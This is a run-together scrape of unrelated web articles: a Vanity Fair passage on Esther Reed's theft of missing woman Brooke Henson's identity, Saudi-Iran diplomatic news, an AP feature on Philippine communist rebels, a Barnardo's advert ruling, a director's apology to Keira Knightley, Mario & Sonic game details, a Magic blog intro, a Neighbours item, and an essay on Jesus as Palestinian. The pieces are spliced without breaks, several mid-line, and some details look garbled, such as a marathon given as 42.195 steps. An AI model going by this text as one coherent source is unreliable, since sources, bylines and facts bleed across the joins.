"The Box" is the name of an essay that investigators took from the hard drive of a computer belonging to one former West Point cadet Esther dated named Kyle Brengel, once stationed in Alaska. Though it isn't the essay that Esther Reed used to impersonate Brooke Henson to get into Columbia in 2004 -- for that, according to Det. Campbell, she cleverly took biographical details off the Brooke Henson website -- the two-page text was clearly a practice effort.
Some of it reads as follows:
When I tell people my life story, I have never received a response not laced with either shock or disapproval. My parents were extremely strict Southern Baptists. Unless someone followed their strict code of conduct, I wasn't allowed contact with them. This isolation was achieved by raising me in a small town in South Carolina with a population of one thousand people... I was educated in a private setting situated in our twenty -five member church. To complete my protection, during my school day, five foot dividers were placed on each side of the five student's desks line against the wall.... Even though I was never forced to understand the concept of the box, I have learned some of the answers to my questions. A box is slowly constructed around every child by every person they've ever crossed paths with. A teacher telling a child he can't learn that until the fourth grade places a brick in a child's wall... an older brother's friend pushing him away from the table saying he can't play chess because he's too young and would never understand it adds mortar to the bricks already in place... My isolation gifted me with the ability to only comprehend the limitations I discovered through failure of one of my ideas or experiments. No one's disapproval or doubt ever hindered me from attempting anything my little imagination could concoct. If I thought I could do something, I would attempt it until I was successful... my personal philosophy quickly turned into: "whatever you say, but as soon as you leave, I'll find a way to do it.
*****
In 2004, Esther somehow got access to Brooke Henson's social security number. Jon Campbell says she did so through police computers in Vermont. "She must have been with someone who had access to them," he says. Records showed him that the number was run twice; "It's what we call a "ping," says Campbell. "You run it once and you wait. Do you get a reaction?" If you do then you know it's a hot number and you'll get a phone call... If nothing happens, you run it again, and you're good to go." Because Brooke Henson was not listed on a national "wanted" list, no one had bothered to flag her file, which meant no red flags went off when someone ran her social security number.
In the fall of 2004, armed with letters from Professor Mitch Avila and Ian Fleishmann's mother, a professor at Annapolis, a yarn about domestic abuse, and calling herself "Brook" without an "e," Esther got in to Columbia -- before she had obtained a copy of the real Brooke Henson's birth certificate from South Carolina's Department of Health and Education -- which took two attempts, according to Campbell.
Her essay to the school "talked about her mother dying," says Campbell. "It has bits of truth from her real life woven into a story tailored to fit what she thought Brooke's life might have been like. Brooke's life was no where near the life Esther described though."
She attended Columbia from 2004 to 2006. Her grade point average was 3.2216. She took courses in intro-developmental psychology, organizational psychology, social cognition, emotion and gender in Muslim studies, sociology of the US economy, introduction to psychology, introduction to political thought, origins of humanity, criminology, algebra, human rights and social justice, university writing, and astrology.
"Weird" said Campbell looking at her choice of courses and the fact that she withdrew from many of them in mid semester. "Completely weird."
He was not alone in finding her behavior incomprehensible. In the summer of 2005, through the online dating service Match.com, she met a New York-based firefighter, a handsome dark-haired young man, who had lunch with me, but asked to keep his identity anonymous.
"Brook" and he first got together at a downtown bar. She'd been wearing a blue turtleneck and blue jeans, and she made no bones about what she wanted from him: sex. "She was not the kind of girl you would take home to meet your mother," he says bluntly.
Yet, although he never intended having a serious relationship -- she traveled far too much to play in her alleged chess tournaments, on top of which she said she had a boyfriend "somewhere in the South" (the fireman got the impression he "didn't treat her well") -- he was put out when she frequently avoided seeing him, citing a social phobic disorder. "She would repeatedly tell me she couldn't see me until the end of the semester, yet she would call all the time," he says.
They quarreled.
As proof of her illness, in 2006, she sent him a letter written by a psychologist at St Luke's Roosevelt Hospital, stating that she had been treated for "social phobia," and that this would be interfering with her studies at Columbia. "Brook" wrote to the firefighter that obviously the doctor "exaggerates my stuff a bit to make sure Columbia gets off my back.... my gp and the number of Ws should let you know this is probably a pretty big priority in my life right now."
The firefighter last saw her in the summer of 2006. In January when the news stories broke, he found himself reading about her in the New York Post. He saw her photograph and was shocked. It had not occurred to him to check up on her.
*****
For the real Brooke Henson's family, 2007 was a year of intense highs and lows. First, in the summer there was the news that Brooke was alive -- which, in itself, was remarkable.
If you drive on a bright, cold winter's day along US 276, a wide empty road that climbs north from Travelers Rest, you see the looming contours of the Blue Ridge Mountains. There is woodland on both sides of the road, and the signs point out the way to "bible camp" and the local carpenter. It all seems quaint and friendly.
But it was on this road, sometime after 2 am, on the weekend of July 4, 1999, that Brooke Henson, one of the town's prettier girls, vanished. She was last seen walking toward the Willis store, the only store in the center of the sprawling town, to buy a packet of cigarettes.
It was a Saturday night, and the 5'4" brunette had earlier gotten into an argument with her boyfriend, Shaun Shirley, 30, a good-looking local contractor. He had had regular run-ins with the cops, according to his long rap sheet, which listed among other felonies, sexual assault of minors and lynching.
That evening, Brooke's parents -- Martin, a former brick mason and Cathy, who worked at the local Eckerd's pharmacy -- had returned from an Allman Brothers concert in Charlotte to find Brooke in tears on the porch. She was dressed in shorts, a tank-top, and flip flops, a silver watch on one wrist, a silver bracelet on the other. She told her father she was going to break up with Shirley and leave town. Her father wasn't sad. He, like many in the local community, was afraid of Shirley, who had acquired a reputation as someone not to mess with.
"I'll be back in five years," Brooke told her father, according to Christie Metcalf, Brooke's aunt.
Metcalf came to talk to me in the Travelers Rest police station, a small nondescript building in the middle of town, where the less dangerous prisoners hang out around tables with the police officers. "We just knew something wasn't right the next day," Metcalf, a blonde in her fifties, says. "But we couldn't get the police to take it seriously." After all, Brooke had run away from home before. "It was three weeks before the police treated it as a missing person's case and began a search mission and, by then, we'd had rain, so what were the dogs going to find?"
The present generation of police admits their predecessors mishandled the case. "The lieutenant... should have turned the case over to the sheriff's office and never even taken a report. If he had done that, then homicide detectives would have been doing the interviews of the suspects and witnesses rather than patrol officers with zero experience in solving murder cases," says Campbell.
The Hensons' marriage fell apart in the wake of their daughter's disappearance. Martin, ill with multiple sclerosis, became a recluse. For five years, he believed his daughter would return. Cathy quit her job and suffered from debilitating anxiety. When Campbell arranged for her to take a DNA blood test he had to carry her to the car.
In 2002, Christie Metcalf befriended a woman named Tammy Welch, who recommended they put up the website for Brooke. Tammy sought help from a medium, who had a vision of Brooke at the bottom of a well, with a yellow rope nearby. Now, every year on July 4th, the family holds a vigil at the police station, reminding officers of their failure. (Brooke is the only missing person in the area who has never been found)
Detective Campbell was more than a little frustrated.
Campbell is convinced Brooke was murdered -- not near Travelers Rest, but up near River Falls, a beautiful spot where young people liked to party. The person Campbell really wanted to question was Shaun Shirley, who was hauled into police custody the weekend of Brooke's disappearance for "abusing two minors." Shirley swiftly "got lawyered up" and had nothing to say, according to Campbell. He is now lives up near the mountains.
Campbell planned to re-interview another former boyfriend of Brooke's, whom she had dated before Shirley. "There was a story she was planning to run away with him and that's why she was killed," Campbell says. But he died of an overdose before Campbell got to him. "It was ruled a suicide," says Campbell. "Some people think he was killed."
Thus, last summer when Campbell got the call from New York, he was never likely to believe it. He might not have believed in retrospect how hard a slog it would be to piece together what happened to Esther.
Now he believes it unlikely the two women ever met. "I think Esther was just looking for a new ID and came across Brooke's story online."
Ironically, Brooke's biography only got pasted on the Internet in 2004, thanks to the zeal of Tammy Welch, and Esther's own story got put there too, on police computers, thanks to her sister Lori's bad dreams...
Tragically, Brooke Henson's family was euphoric when they first heard she had been found. "We believed it because her father had said she would be back [after five years], because she had said that was what she was going to do," says her aunt, Christy Metcalf. The family then learned there was an impostor out there pretending to be her.
"It was the most devastating feeling," says Metcalf's friend, Tammy Welch.
A new detective took over the Brooke Henson investigation, following the promotion of Det. Jon Campbell from the local station to the state's Law Enforcement Division. Campbell said he would help out where he could.
The limelight gave the local police an incentive to retrace old steps, re-interview everyone -- and to rebuild fences with the community. "We are hoping with this attention we can find out what happened to Brooke," says Christy Metcalf, adding that the family would like to talk to Esther Reed to discover what she knows, if anything, about Brooke Henson. At the time of this writing, no meeting ever took place.
Esther Reed's family was relieved to learn that she was alive -- their last communication with her had been a typed letter from Oklahoma City in 2002, which they had feared was sent from someone else -- but they were concerned.
The federal Secret Service sent its data on Reed to the South Carolina District Attorney who could then issue a federal arrest warrant.
In February 2007, there was a report that Reed had been seen in a restaurant in San Francisco. Edna Strom did not believe it. "Whatever she has gotten herself into, I just want her to turn herself in," she says over breakfast in a hotel in Portland, Oregon. "She's at the point when she knows she will have to pay for whatever she's done, but she can still get her life back... start over."
Over on the other coast, Jon Campbell was more cynical. "This girl knows what to do, how to do it, and she will already be several steps ahead of the authorities," he says.
The slow pace of the investigation had driven him a little crazy. This is a man, after all, who took his wife to the spy museum in Washington D.C. on their honeymoon. He admitted that, despite the better pay, he was sad to have been promoted off the case. But he was confident that authorities would eventually find Reed. "Yeah" he says coolly. "I think so. Eventually."
He was right. Last January, Reed, was picked up outside Chicago. This time she surrendered willingly. Did she have regrets? Would she do it again? "I wouldn't say I was tired of running from the law," she told officers.
But as of now, the law is done with her.
Vicky Ward is a Contributing editor to Vanity FairThe diplomatic row that has seen Saudi Arabia and the kingdom’s Sunni allies cut ties with Iran widened Tuesday as Kuwait recalled its ambassador to Tehran in the face of growing international concern.
Joining Riyadh and others in taking diplomatic action, Kuwait said it was downgrading ties with Iran over a weekend attack on the Saudi embassy in Tehran.
Kuwait's move came after the UN Security Council strongly condemned the attack, carried out by protesters angry over Saudi Arabia's execution of a prominent Shia cleric.
Tensions between Saudi Arabia, the main Sunni power, and Shia-dominated Iran have erupted this week into a full-blown diplomatic crisis, sparking widespread worries of regional instability.
Washington and other Western powers have called for calm amid fears the dispute could raise sectarian tensions across the Middle East and derail efforts to resolve conflicts from Syria to Yemen.
The Security Council joined those calls late on Monday, issuing a statement urging all sides to “take steps to reduce tensions in the region.”
The statement by the 15-member council condemned “in the strongest terms” the attacks, which saw protesters firebomb the Saudi embassy in Tehran and its consulate in Iran's second-biggest city Masshad.
But the council made no mention of the event that set off the crisis — Saudi Arabia's execution on Saturday of Sheikh Nimr al-Nimr, a cleric and activist whose death sparked widespread protests among Shias in Iran, Iraq and across the Middle East.
Saudi Arabia cut off diplomatic ties with Tehran in protest at the attacks on Sunday and has severed air links with Iran.
Some of its allies among Sunni Arab states followed suit, with Bahrain and Sudan breaking off ties and the United Arab Emirates downgrading relations on Monday.
Kuwait said Tuesday the embassy attacks “represent a flagrant breach of international agreements and norms and a grave violation of Iran's international commitments.”
Iranian President Hassan Rouhani has condemned the attacks and Tehran's mission to the UN vowed in a letter to the Security Council to “take necessary measures to prevent the occurrence of similar incidents in the future.”
But on Tuesday he doubled down on criticism of Saudi Arabia’s execution on Nimr, stating that the kingdom “cannot cover its crime by severing ties with Iran.”
US Secretary of State John Kerry called his Iranian and Saudi counterparts on Monday to urge calm as European leaders raised concerns and Moscow offered to act as an intermediary.
UN Secretary-General Ban Ki-moon also spoke by phone with the Saudi and Iranian foreign ministers to urge them to “avoid any actions that could further exacerbate the situation,” Ban's spokesman Stephane Dujarric said.
“A breakdown of relations between Riyadh and Tehran could have very serious consequences for the region,” Dujarric said.
The UN envoy for Syria, Staffan de Mistura, headed to Riyadh and Tehran to defuse tensions, worried that the row would undermine growing efforts to resolve that country's conflict.
Iran and Saudi Arabia are on opposing ends of a range of crucial Middle East issues, including the war in Syria — where Tehran backs President Bashar al-Assad's regime and Riyadh supports rebel forces — and Yemen where a Saudi-led coalition is battling Shiite insurgents.
Despite the fears, Saudi Arabia's ambassador to the UN, Abdallah al-Mouallimi, insisted the row would not have an impact on efforts to resolve regional conflicts.
“From our side, it should have no effect because we will continue to work very hard to support the peace efforts in Syria and Yemen,” Mouallimi told reporters.
He said Riyadh would attend upcoming talks on Syria, but took a swipe at Iran's role in the nearly five-year war there, saying: “They have been taking provocative and negative positions …and I don't think the break in relations is going to dissuade them from such behavior.”
Still, the crisis “will further diminish already low expectations,” in particular for the talks on Syria expected to take place this month, according to Noah Bonsey, a senior analyst at the International Crisis Group.
“Ultimately, reaching a political resolution in Syria would require key states backing each side to make reciprocal concessions, and pressure their Syrian allies to do the same,” he said. “For now, things are moving in the opposite direction.”
The spike in tensions comes after Iran last year secured a historic nuclear deal with world powers led by the United States, sparking major concern in longtime US ally Riyadh.
The diplomatic row saw shares on Gulf exchanges drop and oil prices rebound amid fears instability could affect supplies from Saudi Arabia and Iran, both members of the Organization of the Petroleum Exporting Countries (OPEC).
Nimr, one of 47 men executed on Saturday, was a driving force behind 2011 anti-government protests in eastern Saudi Arabia.
He was arrested in 2012 after calling for two Saudi governorates to be separated from the kingdom. Riyadh's interior ministry at the time described him as an “instigator of sedition.”
Al Jazeera and Agence France-PresseSIERRA MADRE—In the late-night hours and amid the chirp of crickets, Katryn welcomed a huddle of exhausted local journalists in cheerful spirits like she was home. “Coffee?” she asked with a comforting smile.
Comrade Katryn is her nom de guerre, however, and for her, home is a rebel encampment concealed in the rain-soaked wilderness of Sierra Madre, the country’s longest mountain range situated in Luzon.
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Katryn, 24, walked away from her family two years ago to join one of the world’s longest-raging Marxist rebellions.
Mostly in their 20s and 30s, a few dozen guerrillas of the communist New People’s Army (NPA) lugged M16 rifles and grenade launchers on a southern Luzon plateau where red hammer-and-sickle flags adorned a makeshift hall.
Most wore mud-stained boots while cooking over wood fires or guarding the peripheries of the encampment, just 3 kilometers from the nearest Army base.
Maoist fighters
They’re part of a new generation of Maoist fighters who reflect the resiliency and constraints of an insurgency that has dragged on for nearly half a century through six Philippine presidencies, while Cold War-era communist insurgencies across much of the world have faded into memory.
They are driven by some of the same things as their predecessors, including crushing poverty, despair, government misrule and the abysmal inequality that has long plagued Philippine society.
“The NPA has no other recruiter but the state itself,” a young rebel, Comrade May, told The Associated Press (AP).
May joined the NPA two years ago after her fiancé died of kidney failure because his family was too poor to afford expensive dialysis treatment.
A lowly paid factory worker, May couldn’t do anything. Government hospitals overwhelmed by swarms of indigent patients failed to give her fiancé immediate care.
“His family gave up and reserved the remaining money for his coffin,” said May, who now serves as a medic for fellow guerrillas and destitute villagers beyond the government’s reach.
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Middle-class family
Katryn came from a middle-class family that could afford a car, a house and education. She wanted to become a journalist, but got profoundly disaffected by a government and laws that she said could not protect the working class, including her father who lost his job as an engineer for joining a trade union.
She said she went underground as an activist and bid goodbye to her father, her mother, who was a former teacher, and a life of modest comforts. “It was difficult. I cried,” she said.
Now adjusted to rebel life, Katryn said she’d stay for good. She agreed to face news cameras with just a dash of red and blue paint—the colors of the revolution—to camouflage her identity.
Comrade Diego
The rebellion’s longevity is best personified by Jaime Padilla, or Comrade Diego, who was introduced as the new NPA commander and spokesperson in a region that has seen the ebb and flow of the insurgency.
Now 69, he took up arms when then dictator Ferdinand Marcos declared martial law in 1972, supposedly to quell the spreading communist insurrection that began four years earlier.
Donning a newly designed ceremonial khaki uniform topped by a Mao cap, the folksy rebel leader with a ready smile gave an upbeat assessment of the rebellion.
The military, however, says it has largely beaten back the NPA guerrillas in most of the provinces south of Manila where Padilla’s rebel forces are based.
Battle setbacks, surrenders and infighting have weakened the rebel group, which is blacklisted as a terrorist organization by the United States.
3,800 fighters
A confidential government assessment obtained by AP says the guerrillas had declined to 3,800 fighters with more than 4,500 firearms in the first half of the year, with about 700 of the country’s 42,000 villages affected by the insurgency.
The NPA “remains as a threat to national security due to its stance of not abandoning the armed struggle,” the report said.
“It’s true that the armed struggle has gone through ups and downs, that’s a part of history,” Padilla told AP.
But he added that the rebellion “will not disappear because of the fundamental needs of the people. The problems have persisted, and that’s the platform of the rebellion.”
In a dilemma
Founded in 1968, the Communist Party of the Philippines (CPP) which oversees NPA operations has held peace talks with six Presidents, including Rodrigo Duterte, whose rise to power in June sparked rebel optimism due to his searing anti-US rhetoric, populist stance and appointments of several left-wing Cabinet members. Both sides declared separate and indefinite ceasefires in August.
But the guerrillas found themselves in a dilemma after Mr. Duterte was accused of gross human rights violations in his war on drugs which has left a large number of poor suspected drug users and dealers dead.
Some of the slain suspects were rebel followers who were never involved in drugs, Padilla said.
Mr. Duterte’s recent decision to allow Marcos’ burial at Libingan ng mga Bayani, a heroes’ cemetery, his walking back on his angry threats to scale down Philippine engagements with the US military and rebel allegations of military violations of its own ceasefire have dampened the optimism.
About a month ago, Padilla’s rebel command offered to provide security to Mr. Duterte, calling him a patriot and suspecting that American forces may covertly take steps to kill or oust him over his anti-US stance.
After Marcos’ burial at Libingan, the CPP denounced Mr. Duterte for showing “gross disrespect and insensitivity to the Filipino people’s sufferings under the brutal martial law rule” and urged him “to reverse this historical wrong” or risk facing mounting protests and political isolation.
Ready for peace and war
But Padilla said the guerrillas would remain sincerely engaged in Norway-brokered peace talks that have given them respite from decades of fighting that is estimated to have left about 40,000 combatants and civilians dead.
“While in a ceasefire, we continue to consolidate our ranks, our recruitment of our forces from the mass bases who are ready to revolt,” he said.
“We can talk to (the government) at the table to resolve the people’s problems,” he said. “We’re always prepared for any breakup and continue our armed struggle.” —AP
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, a teenage girl is pictured behind a prison door, then at a kitchen table where a man hits her hard on the back of the head and calls her a "worthless little cow". The next scene pictures her at her classroom desk, tearfully telling the teacher: "I don't know what it says", before she appears in a deserted setting having just taken drugs. The scenes are repeated at increasing speed, emphasising the sound of the slap and the girl's sobs. Deprivation and exclusion Text on the screen reads: "For thousands of children in the UK the story will keep repeating itself, until someone stops it." The Advertising Standards Authority (ASA) investigated the advert after receiving 477 complaints and said more viewers had complained since then. It acknowledged the abuse victims' distress but noted that "the scene involving the violence, although shocking to watch, showed the violence as unacceptable behaviour and did not encourage or condone it. "We concluded that the aim of the ads justified the use of such strong imagery," it added, noting that the adverts were shown after 2100 GMT and away from programmes popular with children. Barnardo's spokeswoman Diana Tickell said the vicious cycle of deprivation, exclusion, abuse and crime was the greatest threat to the UK's most vulnerable children. She added: "We hoped that viewers of the advertisement would be able to look beyond the challenging story and realise that this is a very real issue and that the shocking fact is that for some children the story will keep repeating itself until someone stops it."
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StumbleUpon What are these? E-mail this to a friend Printable versionJohn Carney, the director of Sing Street, Once and the Bachelors Walk TV series, has issued an unreserved apology to Keira Knightley for comments he made about the British star in a recent interview.
Posting on Twitter on Wednesday night, he wrote that he was “ashamed” of the comments he had made during an interview with the UK Independent about his experiences working with Knightley on the set of Begin Again, a musical romantic comedy co-starring Mark Ruffalo and Adam Levine.
In the film, released two years ago, Knightley plays a young singer-songwriter who forms a bond with disgraced music executive Ruffalo in New York.
“Keira has an entourage that follow her everywhere so it’s very hard to get any real work done,” Carney had told the Independent, saying that he had learned from the experience “that I’ll never make a film with supermodels again,” and adding that “Keira’s thing is to hide who you are and I don’t think you can be an actor and do that (...) It’s hard being a film actor and it requires a certain level of honesty and self-analysis that I don’t think she’s ready for yet and I certainly don’t think she was ready for on that film.”
Since the interview was published last Saturday, a number of high-profile film-makers have defended Knightley and criticised the Irish director.
“My experience with #keiraknightley was utterly spectacular on every level,” Mark Romanek, director of Never Let Me Go, tweeted.
“I have no clue what this guy is talking about. #arrogantshithead”. Vanity Fair commented that “after the public drubbing he gave Knightley, many actors may feel shy about opening up for Carney in future”.
“Recently in a phone interview, the conversation turned to a discussion about a past film, Begin Again, starring Keira Knightley,” Carney said in his statement on Wednesday.
“I said a number of things about Keira which were petty, mean and hurtful. I’m ashamed of myself that I could say such things and I’ve been trying to account for what they say about me.
In trying to pick holes in my own work, I ended up blaming someone else. That’s not only bad directing, that’s shoddy behaviour that I am not in any way proud of.
“It’s arrogant and disrespectful. Keira was nothing but professional and dedicated during that film and she contributed hugely to its success. I wrote to Keira personally to apologise, but I wanted to publicly, and unreservedly apologise to her fans and friends and anyone else who I have offended. It’s not something that I could ever justify, and will never repeat.”
Carney had been speaking to the Independent as part of his promotional duties for the UK release of Sing Street, his Dublin-set coming-of-age musical drama which was released in Ireland earlier this year.Technical info
- Genre: Sports
- Players: 1 / Up to 4 in local wireless (Download Play supported)
- Save data size: 125kb
- Save data: 1
- Internet features: online leaderboards, submit your records
- StreetPass: allows you to gather Mii for the Full Marathon
Compatible amiibo
- Mario (Super Smash Bros. series)
- Sonic (Super Smash Bros. series)
- Dr. Mario (Super Smash Bros. series)
- Mario (Super Mario series)
- Gold Mario (Super Mario series)
- Classic Colours Mario (Super Mario Bros. 30th Anniversary)
- Modern Colours Mario (Super Mario Bros. 30th Anniversary)
Sports
- 100 metres
- 110 metres hurdles
- Long Jump
- Javelin throw
- 100 metres Freestyle
- Archery
- Boxing
- Table Tennis
- Beach Volley
- Equestrian
- Rhythmic Gymnastics: Hoop
Dream Events (also 14 sports) include
- special version of Golf
- special version of BMX
- special version of Table tennis (where you have to hit numbers)
- special version of 100 metres Freestyle (with waves)
- special version of 100 metres hurdles
Story Mode
- you arrive in town
- rivalry between the Mario Gym and the Sonic Gym, and you have to chose between the two
- choice will have an impact on which sports you will get to train for and compete in
- Mario gym will see you in the 110 Meter Hurdles, Beach Volley, Peach's Training Gym
- With the Sonic gym, you will battle in the 100 Metres, Table Tennis, Amy's Training Gym
- clearing the story mode, will get you the Mario or Sonic costume for your Mii
Mii
- playing with your Mii will allow you to wear various costumes, 270 in total
- by training at the Champions Road, you get TP
- get enough of these and your Mii will level up: this allows you to wear higher level gear
- to get the upper hand, your Mii can use special gear in order to become even stronger: boxing gloves, golf clubs, etc
- each has their own stats
- in order to get costumes and gear, you need to use Apples and Melons at the Costume and Gear Shops (respectively)
- get them by training or competing in the Full Marathon, walking a certain number of steps within a time limit, or completing Bonus challenges
Characters
Mario
Peach (Golf, 100 metres Freestyle)
Luigi (Table Tennis, 110 metres hurdles)
Daisy (Soccer / Football, Rhythmic Gymnastics: Hoop)
Birdo (Archery)
Bowser Jr. (Long Jump, Equestrian)
Bowser (Golf, Boxing)
Donkey Kong (Boxing, Beach Volley)
Yoshi (Soccer / Football, 100 metres)
Wario (Javelin throw, Archery)
Waluigi (Long Jump, BMX)
Diddy Kong (110 metres hurdles)
Dry Bones (BMX)
Ludwig (Table Tennis)
Nabbit (100 metres)
Rosalina (Rhythmic Gymnastics: Hoop)
Dry Bowser (Javelin throw)
Roy (Beach Volley)
Larry (Equestrian)
Wendy (100 metres Freestyle)
Sonic
Tails (100 metres Freestyle, Beach Volley)
Amy (100 metres Freestyle, Rhythmic Gymnastics: Hoop)
Knuckles (Javelin throw, Boxing)
Cream (Beach Volley)
Vector (Golf, Table Tennis)
Espio (Long Jump)
Blaze (Equestrian, Rhythmic Gymnastics: Hoop)
Metal Sonic (100 metres, BMX)
Silver (110 metres hurdles, Archery)
Shadow (Soccer / Football, 100 metres)
Omega (Javelin throw)
Dr. Eggman (110m hurdles, Equestian)
Dr. Eggman Nega (Long Jump)
Wave (BMX)
Sticks (Archery)
Jet (Soccer / Football)
Zavok (Boxing)
Zazz (Table Tennis)
Rouge (Golf)
Full Marathon
- works just like the challenges in Wii Fit U
- have to run the 42.195km of an actual Full Marathon, and you do so by leaving your Nintendo 3DS in sleep mode
- each step corresponds to 1m, which means you need to walk 42.195 steps in order to complete the marathon
- as you progress through the marathon, you will unlock various costumes to power up your Mii
- if you meet other players via StreetPass, their Mii will come and lend you their supportHello everyone, welcome to the Magic R&D Developer’s Blog. I’m Ian Duke, a senior game designer on Magic R&D’s development team. The development team is responsible for the second half of Magic card and set design, with an extra focus on game balance and competitive play.
This blog is a new feature we’re starting up to better engage with the community on topics that concern game balance, tournament play and designing Magic sets. Each week we’ll be answering a few questions from among your submissions. Since our goal is to give you some real depth and insight on each question we pick, we won’t be able to answer everything. But we do hope to hit a good cross section of topics that are being discussed within the community. We also hope to get some standalone features posted, like our thoughts on how things turned out with recent sets and where things differed from our expectations.
A couple quick tips on having your question selected: First, be respectful. One of the best things about Magic is how passionate players can be about the game, but remember that Magic has a diverse fan base, and there are lots of folks out there who might have different opinions or appreciate different content than you do. Second, make sure to ask questions we can actually answer! We can’t comment on upcoming sets or products, so it’s much better to ask questions about cards or topics that are already out there in the real world.
Our intent is to incorporate a variety of answers, thoughts and features from all the members of our development team. We’re excited to have another way to interact with the community, and with a little bit more agility and back-and-forth than article series and interviews have given us so far. You can start submitting your questions now and we’ll aim to have our first round of answers posted later next week. We’re looking forward to hearing from you!
IanNeighbours fans will soon see scenes filmed in London, for the first time in 10 years.
A storyline involving Toadie (Ryan Moloney) and Dee (Madeleine West) sees scenes filmed at Buckingham Palace, the Houses of Parliament, Trafalgar Square, Piccadilly Circus and the London Eye.
“Of all my storylines over the years, Dee’s disappearance is definitely one I’m most asked about, so it’s great that we’re able to add an international element to this latest chapter,” said Moloney.
Karl Kennedy (Alan Fletcher) also appears in UK scenes.
Alan Fletcher added, “I’m continually asked by fans on social media about Neighbours coming to London to film so I was thrilled when the producers told me we were doing this, particularly for such a big storyline.”
UK- based scenes will screen on ELEVEN from Monday March 20.
Source: Radio Times
RelatedBecause of modern alarmist reactions to the word “Palestine,” many non-Arabs and non-Muslims take offense when it is argued that Jesus was a Palestinian (peace be upon him).
Jesus’ ethnicity, skin color, and culture often accompany this conversation, but few people are willing to acknowledge the fact he was non-European. A simple stroll down the Christmas aisle will show you the dominant depiction of Jesus: a blonde-haired, blue-eyed, white man.
Islamophobia and anti-Arab propaganda have conditioned us to view Palestinians as nothing but heartless suicide bombers, “terrorists,” and “enemies of freedom and democracy.” Perpetual media vilification and demonization of Palestinians, in contrast to the glorification of Israel, obstructs us from seeing serious issues such as the Palestinian refugee crisis, the victims of Israel’s atrocious three-week assault on Gaza during the winter of 2008-2009, the tens of thousands of homeless Palestinians, and many other struggles that are constantly addressed by human rights activists around the world.
To speak from the perspective of the Palestinians, especially in casual non-Arab and non-Muslim settings, generates controversy because of the alignment between Palestinians and violent stereotypes. So, how could Jesus belong to a group of people that we’re taught to dehumanize?
When I’ve spoken to people about this, I’ve noticed the following responses: “No, Jesus was a Jew,” or “Jesus is not Muslim.” The mistake isn’t a surprise to me, but it certainly is revealing. Being a Palestinian does not mean one is Muslim or vice versa. Prior to the brutal and unjust dispossession of indigenous Palestinians during the creation of the state of Israel, the word “Palestine” was a geographic term applied to Palestinian Muslims, Palestinian Christians, and Palestinian Jews. Although most Palestinians are Muslim today, there is a significant Palestinian Christian minority who are often overlooked, especially by the mainstream Western media.
That dominant narrative not only distorts and misrepresents the Palestinian struggle as a religious conflict between “Muslims and Jews,” but consequentially pushes the lives of Palestinian Christians into “non-existence.” That is, due to the media's reluctance to report the experiences and stories of Palestinian Christians, it isn’t a surprise when white Americans are astonished by the fact that Palestinian and Arab Christians do, in fact, exist. One could argue that the very existence of Palestinian Christians is threatening, as it disrupts the sweeping and overly-simplistic “Muslim vs. Jew” Zionist narrative. To learn about many Palestinian Christians opposing Israeli military occupation, as well as Jews who oppose the occupation, is to reveal more voices, perspectives, and complexities to a conflict that has been immensely portrayed as one-sided, anti-Palestinian, and anti-Muslim.
Yeshua (Jesus’ real Aramaic name) was born in Bethlehem, a Palestinian city in the West Bank and home to one of the largest Palestinian Christian communities. The Church of the Nativity, one of the oldest churches in the world, marks the birthplace of Jesus and is sacred to both Christians and Muslims. While tourists from the around the world visit the site, they are subject to Israeli checkpoints and roadblocks. The Israeli construction of the West Bank barrier also severely restricts travel for local Palestinians. In April of 2010, Israeli authorities barred Palestinian Christians from entering Jerusalem and visiting the Church of Holy Sepulchre during Easter. Yosef Zabaneh, a Palestinian Christian merchant in Ramallah, said : “The Israeli occupation in Gaza and the West Bank doesn't distinguish between us, but treats all Palestinians with contempt.”
Zabaneh’s comments allude to the persistent dehumanization of Palestinians, as well as the erasure of Palestinians, both Christians and Muslims. By constantly casting Palestinians as the villains, even the term “Palestine” becomes “evil.” There is refusal to recognize, for example, that the word “Palestine” was used as early as the 5th century BCE by the ancient Greek historian Herodotus. John Bimson, author of “The Compact Handbook of Old Testament Life,” acknowledges the objection to the use of “Palestine”:
Deliberately avoiding the use of the name “Palestine” not only misrepresents history, but also reinforces anti-Palestinian racism as acceptable. When one examines the argument against Jesus being a Palestinian, one detects a remarkable amount of hostility aimed at both Palestinians and Muslims. One cannot help but wonder, is there something threatening about identifying Jesus as a Palestinian? Professor Jack D. Forbes writes about Jesus’ multi-cultural and multi-ethnic environment:
Despite these facts, there are those who use the color-blind argument: “It does not matter what Jesus’ ethnicity or skin color was. It does not matter what language he spoke. Jesus is for all people, whether you’re black, white, brown, yellow, etc.” While this is a well-intentioned expression of inclusiveness and universalism, it misses the point.
When we see so many depictions of Jesus as a Euro-American white man, the ethnocentrism and race-bending needs to be called out. In respect to language, for instance, Neil Douglas-Klotz, author of “The Hidden Gospel: Decoding the Spiritual Message of the Aramaic Jesus,” emphasizes the importance of understanding that Jesus spoke Aramaic, not English, and that his words, as well as his worldview, must be understood in light of Middle Eastern language and spirituality. Douglas-Klotz provides an interesting example which reminds me of the rich depth and meaning of Arabic, Urdu, and Farsi words, especially the word for “spirit”:
Certainly, no person is superior to another based on culture, language, or skin color, but to ignore the way Jesus’ whiteness has been used to subjugate and discriminate against racial minorities in the West and many other countries is to overlook another important aspect of Jesus’ teachings: Love thy neighbor as thyself. Malcolm X wrote about white supremacists and slave-owners using Christianity to justify their “moral” and “racial superiority” over blacks. In Malcolm’s own words, “The Holy Bible in the White man's hands and its interpretations of it have been the greatest single ideological weapon for enslaving millions of non-white human beings.” Throughout history, whether it was in Jerusalem, Spain, India, Africa, or in the Americas, white so-called “Christians” cultivated a distorted interpretation of religion that was compatible with their racist, colonialist agenda.
And here we are in the 21st century where Islamophobia (also stemming from racism because the religion of Islam gets racialized) is on the rise; where people calling themselves “Christian” fear to have a black president; where members of the KKK and anti-immigration movements behave as if Jesus were an intolerant white American racist who only spoke English despite being born in the Middle East. It is astonishing how so-called “Christians” like Ann Coulter call Muslims “rag-heads” when in actuality, Jesus himself would fit the profile of a “rag-head,” too. As would Moses, Joseph, Abraham, and the rest of the Prophets (peace be upon them all). As William Rivers Pitt writes:
Without acknowledging Jesus as a native Middle Eastern person — a Palestinian — who spoke Aramaic — a Semitic language that is ancestral to Arabic and Hebrew — the West will continue to view Islam as a “foreign religion.” Hate crimes and discriminatory acts against Muslims, Arabs, and others who are perceived to be Muslim will persist. They will still be treated as “cultural outsiders.” Interesting enough, Christianity and Judaism are never considered “foreign religions,” despite having Middle Eastern origins, like Islam. As Douglas-Klotz insists, affirming Jesus as a native Middle Eastern person “enables Christians to understand that the mind and message” of Jesus arises from “the same earth as have the traditions of their Jewish and Muslim sisters and brothers.”
